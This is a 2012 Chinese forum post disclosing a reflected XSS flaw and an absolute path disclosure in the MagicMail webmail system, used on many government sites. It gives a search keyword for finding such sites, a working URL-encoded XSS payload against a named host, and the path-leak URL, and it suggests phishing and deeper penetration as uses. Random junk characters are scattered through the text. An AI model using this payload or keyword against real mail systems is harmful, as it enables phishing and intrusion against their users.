今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞
7 ]3 J* u G6 b6 O* g/ I2 L3 F
; N* a, x/ `) ]4 G( J
/ ^6 ^9 Q P" i4 c! u% C包含 一个反射性XSS 以及 绝对路径泄漏/ ?8 a0 Q4 l4 a7 {
看了看 貌似全部是linux的。* j, P8 V P& e; n
5 i6 f; C# K2 A
关键字：迈捷邮件系统 by MagicMail
9 H6 V7 g2 |8 k( a s1 Y$ [% d7 V+ a& J" y
可以看到很多政府网站都用这个邮件系统5 ` O E0 I; s
& E9 }& a1 ], s$ J; N5 j
绝对路径 http://madman.in/index.php?login_type=declare&language=
, h0 D& Q+ ]6 s! C4 N6 r: u9 |$ i: i( ^
4 ?: `6 O1 D- K; c$ d# I2 g4 X" i
" I5 B) i1 ?( i& aXSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E
; a* q) ^( b$ S7 t' B! c2 s" D9 q! `8 y' ]
2 b) ^6 W1 v( b( J! u" k
: e+ U6 V p9 a: i. m7 _
虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等
( W4 j# {( Y, s 6 A! g, G) g: E7 a# ^
修复方案：看官方补丁吧。
4 i" b7 x8 H5 ~2 d) ]: G |
发表于 2012-11-9 20:38:41
收藏
支持
反对